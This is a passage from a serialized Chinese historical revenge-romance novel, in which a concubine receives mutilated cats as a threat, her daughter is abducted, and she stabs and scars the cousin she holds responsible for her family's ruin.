林怀瑾垂眸,知晓女人可能会去寻他,终于令车夫驾车。 马车在街道上行驶,半晌就没了踪影。 “你放手。”徐可心握住面前的手臂,费力地扯下,见马车消失在远处,她收了心思,转身向府内走去。 男人霎时跟了过来,“你为何要送他离府?你不是厌烦他?难不成你们二人背着我好了?” 见徐可心一直往前走,没有理会他的意思,林昭明越说越觉得他猜得没错,声音霎时阴沉,“徐可心,你是被猪油蒙了心不成?看不到眼前人,只喜欢外面的野花野草?” 眼见他说得愈发不正经,未等他控诉完,徐可心脚步一停,回头看他,“谁是眼前人,谁又是野花野草?” 好似未料到她突然停下,林昭明也骤然一停,面色怔愣一瞬,又眉头紧拧,俯身凑到她面前,和她面对面,“还能是谁?眼前人自然是我。” “至于野花野草,谁知道你这负心女究竟有几个情郎?方才刚走一个,说不定还藏了几个。” 男人直勾勾盯着她,质问不停,分明面色理直气壮,嚣张至极,但细听下去,很容易分辨出他隐在话里的委屈。 徐可心无奈,“你长兄并非我的情郎,你也并非我的眼前人。” 见她和林怀瑾撇清关系,林昭明的面色缓和些许,等听完后半句,又立刻一沉,川剧变脸似的。 “我怎么就不是你的眼前人?我天天在你眼前转悠还不够吗?” 眼见他愈发胡搅蛮缠,徐可心几不可察叹了口气,不再同他多言,转身向听雨阁走去。 “你为何不说了?是不是心虚了?” “好啊,我看你就是心虚了。” “不日就是秋祭,到时我陪同陛下前去陵寝祭祖,我不在府中的几日,你只乖乖守在房中,别想同旁的阿猫阿狗勾搭在一起。” 男人寸步不离跟在她身后,话语不停地嘱咐,徐可心疑觉耳朵快听出茧子了。 到了听雨阁,徐可心走至门前,方要令他离开,推门时,一个血红黑团从门顶落下,朝着她直直砸了下来。 “退后!” 还未等她反应过来,就被一把拽到身后。 干净的木台上,一个黑猫蜷缩着身子,瘫倒在地上,浑身上下伤痕无数,血流不止。 不知生前遭受了何种虐待,黑猫四肢残缺,眼睛也缺了一只,余下的一只金瞳也未闭上,恰巧正对着徐可心,直直盯着她,死不瞑目。 徐可心僵硬地站在原地,良久未回神。 “哪个讨债鬼将这晦气东西挂在门上的?” 林昭明面色黑沉,抬脚就将黑猫的尸体踹远,看向路过的下人,怒声质问。 下人们听到动静走上前,瞧见地上被虐待致死的黑猫尸体,也被吓得面色惨白。 什么色的猫不好,偏偏是玄色的,还被砍断四肢折磨致死。 知道的是折磨猫,不知道的还以为是想要折磨人,先借猫撒气。 这手段…… 几个老人彼此对视一眼,纷纷心弦一紧,慌乱低头。 徐可心站在原地,直直盯着地上的黑猫,也想起下人们曾对她讲过的话。 那人受了折辱,把人做成人彘,扔到了湖边。 她怔愣地站在那里,好似被吓傻了一般,林昭明当即脱下外衣,直接盖住猫的尸体,扯着她的手臂将她拉进屋中。 “别看了,也不怕晚上做噩梦。” 男人强压着怒气,将她安置在屋内,直接把院中的下人全都叫了过来,问他们都看见谁出入厢房了,有没有看见鬼鬼祟祟的人, “方才临竹轩派人过来,说长公子请姨娘过去,但姨娘那时早已不在院中。”丫鬟怯声道。 “在我走后,可还有人前来?”徐可心勉强稳定心神,抬眼看向她。 丫鬟垂眸思索半晌,迟疑道,“姨娘,林二叔也派人过来了,未交代什么,只问姨娘的去处,知晓姨娘不在院中,未多停留就走了。” 林远山…… 徐可心面色紧绷,心跳也愈发剧烈。 林昭明看了她一眼,抬步就要向院外走去。 “你去何处?”徐可心下意识攥住他的手臂。 “还能做什么?把那人揪过来,问是不是他干的好事。”林昭明眼底满是戾气,垂在身侧的拳头紧握,不似他话语那般冷静。 林昭明性急,根本不是那人的对手,兴许还会被林远山倒打一耙。 恐他要不来人大打出手,被大人责罚,徐可心紧攥他的手臂,“你先止步。” 她看向一旁的下人,命他们将那只黑猫的尸体收起来,先用木匣存着。 “晚些我将此事告知你父亲,兴许是哪个幼童做的。” “幼童?哪个幼童的手段如此残忍?” 徐可心闻言,也没了声音。 她也知道这只黑猫是林远山的手笔,可就算他亲自站出来,说他命人将猫扔在她门上,也无人能治罪于他。 杀人尚且无事,一只猫又算得了什么。 她说将此事告知大人,也不过是哄林昭明的说辞。 林昭明怒气难消,只命下人将整个听雨阁里里外外搜查了一番,看还有没有其他的脏东西。 寻找一番之后,竟又从床底和衣箱里翻出两只。 肮脏的腥臭味在院中蔓延,看着地上的几只猫的死尸,徐可心面色紧绷。 那日林远山离开后,迟迟未做什么,眼下林怀瑾刚走,就将吓人的脏东西塞到她房中,摆明了对她未离京一事的不满,虐杀了几只黑猫,用来恐吓她。 她只坐在那里,看着林昭明忙前忙后,盯着他们将整个院子从里到外仔仔细细擦拭干净。 临走前,寻了自己院中的几个小厮过来,让他们在院中守着。 好似害怕她被吓到,又从脖颈上摘下一个香囊,小心翼翼地戴在她的脖颈上。 “这是何物?”徐可心攥着身前的香囊,面色不解。 林昭明偏过头不看她,“不用管它是何物,你戴着就是了。” 好似察觉自己的话太过生硬,他又道,“戴上之后,入夜就不会做噩梦了。” 徐可心沉默片刻,隔着布料摩挲几下,听到沙沙的响声后,知晓里面的东西是什么,垂下了手,未再说什么。 男人长久佩戴,红绳上还残留男人身体的余温。 这人不信鬼神,那日在道观之中索求符纸后,竟真得一直随身佩戴在身上…… 这人素来横行无忌,有什么好怕的。 “你为何还不把它放在衣裳里?”林昭明站在她面前,抬手攥着红绳,就要将香囊塞进里面。 另外一只手碰到她的衣襟时,又骤然停止半空,不上不下地僵在那里。 见他忽得停了下来,徐可心抬眼看去,却见男人拧眉盯着她的脖颈,分明面色强硬,但耳廓不知何时红了几分,愈发涨红。 …… 第132章 徐可心垂眸,勾住红绳,将平安符压在衣裳里,指腹触到男人手指的瞬间,对方明显微微颤抖一下,很快退离。 好似意识到自己眼下多么不自在,他岔开话,“秋祭那几日我抱病不出,留在府中陪你。” “别说胡话。”徐可心轻声道。 祭祖是大事,他身为刑部侍郎却抱恙家中,到时想必还未等祭祖完毕,状告他的奏折就被送到了陛下手上。 这条罪名,倒是可以被记到史书上,到时百姓真得认为他是个肆意妄为的,兴许还会把他写进诗中贬他几句,趁机讥讽同僚。 她想得远,林昭明却不在意生前生后事,只看重眼前人的安危,“我未说胡话,若我不在府中,旁人再将乱七八糟的脏东西塞到你房中,你被吓到该怎么办?” 徐可心无奈,“我并非幼童,不必如此小心。” “幼童尚且有胆子大的,初生牛犊不怕虎,你还不如幼童。” 无论她说什么,林昭明都不愿听从她的话。 徐可心劝说良久,余光瞥到男人腰间的佩剑时,抬手伸了过去,还未等碰到他的腰带,就被死死攥住手腕。 “你做什么?” 林昭明眉头紧拧,直直盯着她。 攥着她手臂的力道极为重,好似她是什么轻薄无礼的登徒子一般。 “光天化日,朗朗乾坤,你别……”男人的声音拔高些许,又倏地没了声音。 徐可心面色不解,“什么?” “别那么饥渴。”林昭明紧握她的手,低头看向两人之间的地面,头也不抬道,“若你实在想要,也应等入夜后。” “……” “如此太过无礼。” 不知道他为何会往那处想,徐可心沉默半晌,说,“我只想要一把短刀防身。” 林昭明身子一僵,顺着她的手看过去,却见她伸手的方向,的确朝着他腰侧的佩刀,而非他的腿间。 他倏地抬头,“你要刀为何不直说?” “我不知晓你会多想。” 林昭明抽出刀,将刀鞘重重压在她身侧,冷眼看着她,“还要什么?” 徐可心微微摇头,握住刀鞘拿在身前,“不要了。” “只要刀?” “只要刀。” “行,徐可心,你好样的。” “……” 男人面色难看,不知是气她索要刀,还是气她只要刀。 徐可心缓慢摩挲镶嵌在刀鞘上的红宝石,低垂着头,不和他对视。 林昭明平复几次,才压下心间的烦躁,不耐道,“会用吗?” 徐可心缓慢摇头,又微微点头。 “刺肉,抽刀,放血。”她缓声道。 她未曾用刀杀过人,但知晓林昭明的随身佩刀极为锋利,削铁如泥,只要她能将刀捅进心口,便可杀人。 “不会用只说不会,你所说的,连刚学武的幼童都知晓。” 林昭明面色不耐,握住她的右手,将她的拇指按在刀柄尾端,合拢她的四指,“刀穗绑手,刀刃朝下。” “只寻到机会,朝肝肠心胆均各捅一刀。” “用力刺,别留后患。” 男人指腹的硬茧按在她的手腕上,随着刺刀的动作,不断摩挲她的手腕。 他只单膝跪地,低垂黑睫,缓声讲着。 好似怕她记不住,攥着她的手腕,牵引她的手,直接将刀刃抵在心口。 “谁伤了你,亦或欺辱你,你只拿刀捅向此处。” 忽得想到什么,林昭明抬头,直直看着她,“若我做了错事,惹你不快,你也这般做。” 男人眸色坦诚,眼底没有半分迟疑。 四目对视,徐可心看了眼手上的刀,用力抽回手,隐在袖中,“我不会伤你。” “你别说得如此血腥。” 她只想要一把刀防身,亦或拿刀报仇,但从未想过拿刀伤害身边人。 毕竟刀只能割人血肉,却无法伤及心神。她所受的一切苦楚之中,最难以忍受的却是神伤。 蜷在他掌心之中的手缓慢退离,林昭明看着落空的掌心,缓声道,“我讲真的,若我之后惹你不快,你只杀了我就是。” “我的整颗心如今都挂在你心上,若你厌烦我,我同死了也没什么两样。” 话音一落,屋内也没了声音。 良久后,徐可心才轻叹一声,“昭明,若旁人以命相搏,把性命寄托于他人身上,我会说他情深。” “可昭明不是旁人,你不在意自己的性命,我却在意。你将自己的性命视作儿戏,我不仅不会动容分毫,反而极为恼怒。” “若你真得在意我,愿意把性命交给我,那我希望昭明好好活着。” 男人单膝跪在她面前,闻言垂下眉眼,不知再想什么,徐可心抬手,抚上他的侧脸,“以后勿要再随意提及生死了。” 男人沉默半晌,良久才不情愿似的嗯了一声,任由她抚着侧脸,没有推开她的手。 “不能只约束我,我答应你爱惜性命,你也要好好活着,不然你死了,我也不活了。” 男人俯下身,埋首在她腿间,紧紧箍着她的腰,头也不抬闷声道。 复又过了良久,一个好字才传入男人耳中。 林昭明垂下头,将头埋得更深,只用力抱着女人的腰背,将她桎梏在怀中。 他尚且有公务在身,方才回府也是为了送林怀瑾一程,未在听雨阁停留太久。 待他走后,徐可心命人将猫的尸体取出来,埋在树下。 晚上入寝时,徐可心枕着男人的手臂,背对着男人侧躺在床上,结实的手臂搭在她的腰上,垂下的手 覆着她的腹部,缓慢按揉。 白天院里的动静不算小,男人没道理不知情,但她等了许久,对方也未提起此事。 徐可心复又等了片刻,终于忍不住转身。 “大人,白日妾身回房中时,不知谁有意作怪,将被砍断四肢的玄猫放在门上,又藏了两只在床底和衣箱内。” “妾身盘问院中下人,可曾看到不轨之人,但他们都未瞧见。” “玄猫本是辟邪之物,而如今数只身死,妾身不禁胆寒忧虑,唯恐同玄猫一样,被人虐杀致死。” 她靠在男人怀里,话语哽咽,还未等说完,一滴泪就从眼尾滑落。 “狸奴如何能与可心相提并论,勿要胡言。”男人揽着她的腰,闻言淡声道。 “大人,妾身并非忧思过度,只是心上怕得紧,只一想起白日所见之事,内心便惶恐不安,难以安眠。” 徐可心俯下身,枕在男人肩侧,整个人依偎在他怀里,好似真同她所说那般,害怕至极。 与女人同床共枕近两载,没人比林远舟更清楚,怀中人到底是真怕,还是假怕。 见她哭得难过,俨然要把心哭出来一样,林远舟抬手擦去她脸上的清泪,也未拆穿她,“有人故意寻死猫恐吓可心,见可心如此畏惧,为夫心上也不好受。” “依可心之见,为夫应如何处理那人是好?” “是把他找出来,令他同可心赔礼谢罪,还是也砍断他的四肢,拔了他的舌头,将其撞进陶罐之中,做成人彘?” 屋外阴风划过窗纸,窗户被微微掀起一条缝,又很快落下,不断发出咯吱咯吱声,在秋夜格外清晰,月光落在男人的半边侧颜上,覆上一层寒光。 男人无声看着她,眼底情绪意味不明。 四目对视,徐可心眸色怔愣,甚至忘记哭,只觉心跳得愈发快,并非羞耻窘迫,而是本能的畏惧。 她早就知晓,大人在意他的堂弟,她方才所言,并非为了告状,大人也不可能为了几只猫惩戒林远山。 男人眼下所言,也并非真得要那般做,而是认为她想要那么做。 徐可心紧抿着唇,良久才垂下眉眼,“大人误会妾身了,妾身并非想要寻得那人,而是心上太过害怕,难以忘记白日之事,只一阖眼,便不自觉想起那几只玄猫惨死的模样。” “今夜有大人陪在妾身身侧,妾身不必害怕,可不日就是秋祭,到时大人陪同陛下前去陵寝,妾身只能独自过夜,心上不免畏惧。” 她抬眸,复又直直看向面前之人,“到时无大人陪伴,妾身恐会做噩梦。” “妾身恳请大人离府后,将青姝交由妾身照顾,有青姝陪在妾身身侧,妾身也能好过些许。” 徐可心握住男人的手,未因他的误解而心生委屈,她也有小妹,自然也理解他对林远山的纵容。 同旁人尚可讲理,但家中小孩仗着年幼无理取闹时,身为长姐总是不自觉纵容几分。 毕竟看着小孩从小长到大,哪怕狠心管教了,看她哭得厉害,也不自觉心疼。 亲情摆在那里,让她不自觉牵挂小妹,而大人如今只有林远山这一个兄弟,自然也难以放下兄弟情分。 徐可心微微俯身,好似未听出男人话里的深意一样,主动靠在男人怀里,“大人,妾身想青姝了。” “妾身属实被吓得厉害,无人陪伴,实在难以入睡。” 她趴在男人怀里,话语不停地在他耳边求情,面上却无半分被误解的委屈。 女人求他,是为了青姝,而非为了报仇。 好似知晓他不会答应一般,所以根本未考虑过求他做主,哪怕今日受惊,也未借此控诉。 林远舟不知应夸女人懂事乖巧,还是夸她懂得分寸,哪怕不日就要成婚,仍不想着求他做主,只把事情咽在肚子里,从不越矩。 安心做一只谨小慎微、不依靠他、随时可以飞走的鸟雀。 那日求他处置吴家,也不过是吴尚书图谋不轨,有意挑拨,涉及到他,才将此事告知他。 若未涉及他,不知晓吴尚书心怀不轨,是不是又会将此事烂在肚子里,独自寻求对策,而非求他做主。 徐可心埋首在男人怀里,仍轻声恳求,丝毫未注意到男人愈发晦涩阴冷的目光…… 第133章 “过了今年,明年春,我们二人便可成婚。” “林远山是为夫的堂弟,待我们二人成婚,可心便是他的长嫂。” “母亲临终前,唯一的遗愿便是令为夫为他铺路,让其一生顺遂无虞。他身怀重病,如今过去数年,本就无多少光阴,可心身为长嫂,却执意要除掉他,可心一定要让为夫难为吗?” “如今梁党苟延残喘,再无翻身之日,可心为何仍不满意?” 夜色之下,男人无声看着她,眼底往日的纵容消失殆尽,徒留不解和审视。 他顾及母亲,哪怕对此人无半分亲情,依旧听从母亲的遗愿,为其打点,只想尽了这一世的母子情分,还了她的养育之恩,来世不复相见。 眼前之人是他认定的娘子,想要照顾此人一生,想要给予她一切,想要让其依赖自己,可偏偏她从不索求,唯一牵挂于心的执念,却正是他林远舟所不能满足的。 林远舟不知道,他到底是恨女人执念太深,还是恨自己难以成全女人的执念。 “大人……”徐可心怔愣地看着面前之人,良久才回神。 她从未见过男人露出过这副神色,濒临失控般,透着深深的不解和无力。这也是男人第一次主动提及此事,而非避而不谈。 这人一贯从容,好似没有什么是他不能做到的,她也一直在心中认为,这人会一直独坐高台,如同仙鹤般悬在天上,永远不会跌落。 她从不知晓,大人也会两难。 徐可心紧抿着唇,直起身子,跪坐在男人面前,眸中神色不变,仍透着一江春水。 清澈,真挚,无半分怨恨。 春水剪影,独有他一人。 “大人,双亲抚养妾身长大,对妾身有养育之恩,妾身并非苟且偷生之人,难以回避徐家一事。” “若让设局之人寿终正寝,妾身死后,也难以面对父母双亲。” “妾身与他,只有一人能活,若大人两难,只杀了妾身。” 她语气轻缓,却透着决绝。 此话一出,屋内彻底死寂,同落于湖水之中的秋叶一般,难以再见往昔青绿,独留碎裂枯纹。 激起波澜,又归于沉寂。 身前之人良久无言,迟迟不语。 想到白日对林昭明的承诺,徐可心垂眸,轻声道,“待妾身死后,还请大人不要将此事告知昭明,只说妾身离京,不知何时归还……” 哪怕赴死,也不愿退步,更不相信他会让步,只替他做了选择,不让他为难,成全他的孝心。 林远舟无声注视面前之人,心潮不断翻涌,俨然要将他吞没。 他的娘子对他情深,却不相信他,而他作为夫君,本应顾虑她的一切思绪,不让她神伤,却为了一个临终的遗言,难以成全她的执念。 罕见的受挫和无力蔓延至他的心头,让他难以言语。 “既然可心执意如此,也不必嫁给为夫,何时放下执念,何时再议婚事。” 林远舟复又无声看了她半晌,见她未语一言,仍没有服软的意思,拿上外衣推门离开。 秋夜苦寒,夜愈深,风愈紧,刮在窗纸上,窸窸窣窣的,恰巧树影垂落在窗纸上,落下一片黑影,仿佛死去的玄猫趴在窗上,抓挠不止。 徐可心躺在床上,看着空荡的身侧,心中虽无半分畏惧,却抓紧被子蒙在脸上,被中漆黑温热,还残留男人身体的余温。 她难以嫁给大人为妻,也不想害了他的名声。 如今恩怨隔在两人之间,兴许不复相见才是真得放过彼此。 隔天,男人未回府,接连几夜,徐可心也未再看到他。 临到秋祭前几日,众官员先赶赴陵寝,为秋祭做准备,林昭明听了她的话,也前去陵寝,未留在府中。 听雨阁。 林怀瑾临走前,将自己的亲信留给她,令他们听命于她,其中几人本在临竹轩做事,在林怀瑾走之后,又被调到听雨阁,随时等候她的命令。 一个小厮站在她面前,温声道,“姨娘,如今大人身处陵寝,难以顾及府中之事,此时正是下手的良机。” 今日就是秋祭,官员们不日就会返京,再拖延下去,等到大人回府,他们便彻底失了机会,有大人在,他们难以除掉林远山,更别提带她离京。 小厮低垂着头,捡起桌案上的茶壶,边倒茶,边用只有两人能听见的声音,轻轻低语。 徐可心接过茶杯,闻言叹了口气,她何尝不知晓这是一个良机,可那夜男人的话落在她的心上,又令她难以抉择。 那人身患绝症,难以痊愈,她也想过退步,要不要放下心中芥蒂,任由此人病死,可不亲手将他除掉,眼睁睁看着林远山寿终正寝,她又难以彻底放下。 徐可心沉默半晌,轻声道,“你先退下罢。” 小厮见状,也未再说什么,微微颔首退了出去。 几日未见到男人,她的心上也愈发沉闷,想起那日他留下的最后一句话,更觉心口发紧,隐隐绞痛。 不自觉怀疑,她到底是否真得执念太深。 思索良久也难以放下心中芥蒂,她轻轻叹了口气,起身前去书院,想要去见青姝。 那夜她恳求良久,男人也未说将青姝交给她,眼下青姝仍被安置在书院的厢房。 她倒可以前去探望,但每每意图想要带青姝离开时,守在那里的奶娘和侍卫都会出言阻拦。 她没有办法,只能每日前去,又独自离开。 今日风吹得紧,夹杂着落叶,直穿透衣衫 ,刺进骨子里,冷得人发寒。 她紧紧了衣裳,朝厢房走去,临到门外时,脚步一顿,却见往日守在那里的侍卫不见了踪影,木门之上,又溅落一片未擦拭干净的血斑。 徐可心眸色微怔,快步推门走进。 却见厢房内空空荡荡的,没有半个人影,往日躺在软被上的小孩,也不知去了何处,房内过去弥漫着清香,今日却掺杂着几分难言的血腥气。 一瞬间,气血上涌,死死抵着她的心口。 徐可心深呼一口气,快步走了进去,四处翻找,寻了半晌也未见到女儿的身影,她的动作也愈发慌乱,转身时碰倒桌案上的花瓶,砰的一声,碎裂声在厢房内倏地响起。 听到书房的动静,门外终于传来脚步声,钱管家快步走进。 “姨娘,你来了。” “青姝去了何处?”只一听到声音,徐可心就忙不迭转身,慌乱追问。 钱官家面色为难,快步上前,“姨娘,你先别急,小人已命人前去陵寝给大人传信,待秋祭后,大人就会回府。” “我问你青姝去了何处!”徐可心难以压制心上的慌乱,用力扯住钱管家的衣襟。 钱管家犹豫片刻,迟疑道,“长小姐被林二叔带走了。” 话音一落,徐可心的心弦骤然一沉,她强稳住心神,质问道,“门口的侍卫为何不拦下他?” “他……唉……”钱管家面色无奈,叹了口气。 “他们阻拦了,但林二叔提着刀,将他们和奶娘全杀了。” 见女人脸色愈发惨白,钱管家忙不迭道,“姨娘,小人说了,已经派人给大人传信,今日就是秋祭,过几日大人就会回府,小人瞧林二叔好似格外疼长小姐,应不会伤她?” 钱管家站在一旁劝解不停,可徐可心头脑一片空白,根本听不清他说了什么。 她只紧攥袖子,朝林远山的院子走去。 钱官家见状,猛拍大腿,唯恐她出事,忙不迭跟了上去。 可等她到了院中,只将四处寻遍,也未见到青姝的身影,林远山也不知下落。 “姨娘,你先回去罢,小人派人去寻长小姐,只得了下落,就告知姨娘。” 徐可心寻了足足数个时辰,也未见到人,身子早就疲惫至极,她强撑着一口气,才未倒下,闻言只能点头。 钱管家见她松口,霎时松了口气。 她拖着身子,朝听雨阁走去。 离开时还是午后,眼下已经渐黄昏。 她走时分明未点烛火,眼下房内却灯火通明,一个颀长瘦削的身影隐隐绰绰地倒映在窗前,屋内还时不时传出一阵婉转的琴音。 徐可心眸色一怔,推门走进,却见她寻了良久的男人,此时笑着坐在她的琴前,抬手抚琴。 好似听到开门声,男人抚琴的手一顿,琴声戛然而止。 林远山抬眸,眸中笑意不达眼底,“徐小姐,你终于回来了。” “在下已经等候多时了。” 男人眼含笑意,目光却分外阴鸷,如同毒蛇一般,直直盯着她。 第134章 秋月高悬,隐在阴云之下,只透过云隙泄出些许光。 “在下琴艺不精,心绪纷杂,所弹之曲琴音杂乱,不及徐小姐通透。”林远山抚着琴弦,笑着站起身。 眼下房中只有他们二人,徐可心下意识抚上袖中的短刀,向后退了半步。 林远山瞥了眼她的脚,好似不解一般,抬眸笑道,“徐小姐,我们二人不是叔嫂吗?为何要如此戒备远山。” 徐可心攥紧刀柄,直直盯着他,未理会他话里的寒暄,“青姝在何处?” “青姝?”好似想到什么一样,林远山笑道,“青姝正在她娘亲那里。” 话音一落,屋内彻底没了声音。 男人面上洋溢几分笑意,比过去徐可心每一次见到的都要真心实意,她眸色错愕,很快反应过来,男人的口中的娘亲是夫人。 死去的长小姐的父亲也是林远山,正房双儿一女,无一人是大人的孩子…… 大人待此人不薄,他却背叛大人,和其正妻通奸,难言的恨意攀爬至心头,徐可心攥紧刀柄的手也愈发用力。 他林远山还真是随心所欲,风流至极。 “徐小姐如今自顾不暇,还是先担忧自己能否活过今夜罢。”男人笑着看她,垂下眉眼,随意抽出桌案上的长刀。 长刀拖地,刀背寒光浮动,倒映她的身影,几滴血落在刀刃之上,早已干涸。 此人白日刚杀人,刀上血气未尽,而她只有一把短刀,难以近身,根本不敌此人。 徐可心后退一步,转身就向门外跑去,林远山一直盯着她,早就有所准备,大步上前,扯着她的头发直接将她摔在桌案上。 头皮刺痛,近乎撕裂一般,徐可心整个人不受控地跌倒在桌案上,肋骨撞到桌沿,霎时传来阵痛。 砰的一声,房门被阖上,男人站在她身后,笑道,“徐小姐,你跑什么?你是我大哥认定的娘子,也是我嫂嫂,难道远山还能伤了嫂嫂不成?” 徐可心趴在桌案上,抚着隐隐阵痛的腹部,闻言心弦紧绷到极致。 这人一会儿让她担忧自己,一会儿同她示好,手持刀作屠夫状,却面色含笑,如同笑面佛,比阴间罗刹还要渗人。 “若你识相离京,无人会在意你,可你偏偏不自量力,自作聪明,存心和我作对。” 男人边说,边漫步至她身侧,在她想要起身时,贴着她的脖颈,直接将刀插进桌案之中。 刀刃捅进桌案,发出刺啦一声巨响,好似刮磨骨头的摩擦声,在她耳边骤然响起,徐可心的身子也霎时僵住。 刀刃几乎贴着她的脖颈划下,只再深入一寸,便可划破她的颈肉,一瞬间,徐可心浑身汗毛竖起。 身后之人俯下身,饶有兴趣地欣赏她这副胆战心惊的模样,轻声笑道,“你父亲老谋深算,尚且不是我的对手,嫂嫂涉世未深,又从哪里寻来的胆量想要同我寻仇?” “若非大哥钟情于你,在这林府,你怕是早就陪你双亲下地狱了。” “你唯一还算聪明的,就是知晓谁是林府的主人,也明白只有得了我大哥的喜欢,才能在府中立足。” 男人缓声说完,收起脸上的笑意,半阖眉眼,语气没有起伏道,“夜深了,你也应走了。” 话落,他就要抬起刀。 听出男人话里的寒意,知晓今夜难以逃脱,徐可心紧抿着唇,不想平白死去,冷声道,“我对你大哥一片真心,若非如此,大人又如何会心悦我?” “自己不堪,不受人喜欢,如同流浪狗一般被人玩弄,也别以为旁人同你一样,都是虚情假意的伪君子。” “我同你大哥两情相悦,我爱慕大人,大人也因此怜惜我。我的确不如你,得了老夫人的宠爱,以至于老夫人死后,仍惦念你,令大人照顾你。” “就凭你姓林,是大人的堂弟,就可以像条蚂蟥一样,无耻地寄生在大人身上 ,依托大人存活于世。” “哪怕大人再不喜,碍于老夫人的遗言,也必须照顾你。” “你说我依靠大人在府中立足,你林远山趴在大人身上吸血,又高贵到哪里去?我和你大哥尚且两情相悦,而你不过是一条苟延残喘的流浪狗。” 徐可心话语不停,只把心中的恨意全都讲了出来。 不知何时,屋内死寂如坟,没有半点响动,徐可心转过身,看向身后之人,却见方才还面色从容的男人,此时面色僵硬至极。 四目对视,林远山半眯眼睛,“我大哥亲口同你讲的?” “你不必知晓谁将此事告知于我,你只需知道,你林远山不过是一条丧家之犬,无论走到何处,都不受待见,也难以被人真心以待。” “而我徐可心,就算死了也未白活,我在意的人无一例外也牵挂我,哪怕我下了地狱,他们也会悼念我,而你就算活着,也同身死一般,寻不到归处。” “你在意夫人,同她苟合,让她为你生下两儿一女,可夫人仍不愿从大人身边离开。” “林远山,你认清自己罢,哪怕你效仿大人的言行,学到天衣无缝的地步,你终究不是你大哥。” “你只是一条费尽心机、到头来空梦一场、仍不受人待见的丧家之犬。”徐可心眸色冷厉,直直盯着他,一字一句道。 男人面色紧绷,仿佛被揭开最深处的伤疤一般,素来满含笑意的眼底此时浸透恨意,眉眼戾气横生,看似恼怒到极致,可微微颤抖的刀刃,却昭示这人心上的慌乱。 徐可心紧抿着唇,余光落在男人的心口,攥紧袖中的刀柄。 “徐小姐,你所说的那些,我全然不在意,所谓的两情相悦,也不过是庸人自扰,我林远山决然一身,如何会看重虚无缥缈的情意。” 他胸膛起伏不停,急喘着气,完全不似话语那般,视情意如草芥。 他紧攥着刀柄,手背绷紧到极致,“徐可心,我倒要看看,待你死后,是否真得有人牵挂于你。” “你想死,我便成全你。” 话落,林远山骤然拔刀,长刀划破半空,血光毕现,可快要砍下时,却骤然停滞。 他身子一僵,缓缓低头,却见一把短刀刺进他的腹部,狠狠贯穿他的身体。 徐可心冷眼看着他,毫不犹豫抽刀,在男人反应过来前,快步向门前跑去。 她的心跳鼓动如雷,快要跑到门前时,身后脚步声响起,她匆匆回头,却见男人捂着腹部,单手持刀,好似不知痛一般,跌跌撞撞地向她走来。 徐可心心弦紧绷,推门就要走出,迈过门槛的瞬间,身后传来砰的一声巨响。 她脚步一顿,转过身,却见男人倒在地上,眉头痛苦地紧拧,面色惨白至极,长刀也从手中脱落,撞在地上。 他捂着脸颊,低咳不停,一开始只是轻咳,可数下过后,便咳得愈发厉害,血从指缝溢出,顺着手背滑落在衣衫上。 徐可心停下脚步,忽得想起大人说,这人已经无多少光阴,眼下看来,怕是早已病入膏肓,只差一口气。 林昭明告诉她,不要留下后患,错过今日,她就再也难以寻到机会除掉此人。 徐可心面色紧绷,反手关上门,走至男人身侧,踢走他身侧的长刀,垂眸无声俯视他。 “林远山,别再自欺欺人了。” 话落,门外脚步声响起,刚阖上的门被骤然推开,徐可心微微蹙眉,抬眼看去,却见大夫人站在门前,错愕地看着屋内景象。 目光落在她染血的短刀上时,沈玉清面色紧绷,下意识道,“住手!” 知道他们二人是情人,徐可心不仅未退后,反而单膝跪地,将刀用力刺向林远山的心口。 “你杀了他,难道不怕大人恨你吗!”眼见刀刃快要刺穿男人,沈玉清慌不择路喊道。 刀刃抵在心口,骤然停下。 徐可心紧攥着手中的刀,只觉浑身颤抖不停,兴奋和痛苦交织,一齐用力拉扯她的心。 见她停下,沈玉清忙不迭颤声道,“他本就是将死之人,你何苦为了他留下祸端,以致让那人恨你。” 徐可心紧抿着唇,闻言半阖眉眼,“大人待我不薄,我已无颜留在大人身侧。” 话落,刀刃霎时向下刺入几分。 她一贯沉默寡言,谨小慎微,沈玉清何时见过她露出过这副神色。 眼见男人低咳不止,她紧咬着牙,急声道,“青姝在我那里,若你杀了他,你也别想再见到你女儿了!” 此话一出,刀刃终于停下。 徐可心紧攥着刀柄,抬眸看向站在不远处的沈玉清,“将青姝给我。” 眼下林远山病情发作,沈玉清不敢再同她周旋,连忙看向随行的丫鬟,“快把那孽女抱来。” 丫鬟得了命令,不敢耽搁,忙不迭跑了出去。 两人等着丫鬟回来,沈玉清不敢言语,害怕刺激她,徐可心垂眸看着地上半死不活的男人,心中牵挂着女儿,心弦早就紧绷到极致,分不出半分思绪。 过了半晌,慌乱的脚步声从门外传来,“夫人,奴婢将长小姐抱过来了。” 几个小厮跟在她身后,也走入房中。 徐可心看着走进屋内的小厮,令他将青姝抱过来。 沈玉清拧眉,抬手止住丫鬟,“你自己走过来。”不然谁知道她会不会在得到女儿之后,又将人杀了。 眼见走进房中的小厮都是林怀瑾的亲信,徐可心垂眸,用很轻的声音,俯身道,“林远山,你不过是寄生在你大哥身上的蛆虫,永远也难以同他比肩,更别提取代他。” “你只是你,林远山。”她缓声说完,当着众人的面,直接用刀划破林远山的侧脸,这张同他大哥极为相似、滋生一切恶果的脸。 刀刃划过皮肉,霎时留下一道血红长痕。 “你这是做什么!”沈玉清咬牙道。 徐可心垂眸,收起刀,未理会她的话,直直向青姝走去,等她快要走近时,沈玉清看着她,却不自觉退后一步。 徐可心未看她一眼,只接过丫鬟手中的女儿。 小孩方才好似在睡觉,眼下被吵醒,费力地揉眼,抬眸看向她,目光在触及她的瞬间,下意识唤了一声娘,随后攥着她的衣服,埋首在她怀里,轻轻蹭了蹭,复又安心地睡了过去。 徐可心揽着她的身子,轻拍她的后背。 见她终于冷静下来,沈玉清霎时松了一口气,快步走向倒在地上的男人,忙不迭喊道,“快令人寻太医过来!” 这一夜,林府鸡犬不宁,乱作一团。 厢房。 沈玉清疲惫地倚着头,眼也不抬道,“他本就时日不多,又挨了你一刀,你这再大的怨气,也该消了。” “说罢,你如何才能离府。” 徐可心坐在一旁,轻轻勾着怀中小孩的手指,闻言轻声道,“妾身无颜面对大人,不日自会离府。” “不过妾身走后,还请夫人转告昭明,只说妾身同人私奔,让他不必再牵挂妾身。” 好似未料到她这般说,沈玉清看了她一眼,又收回目光。 她方要说什么,里室传来低咳,沈玉清倏地起身,向里室走去。 徐可心坐在原地,看向怀中的女婴,抬手轻轻抚了抚她的脸。 她如今唯一放心不下的,就只有尚在宫中任职的小妹了,徐可心看向站在不远处的小厮,将早就准备好的书信交给他,令他送至宫中。 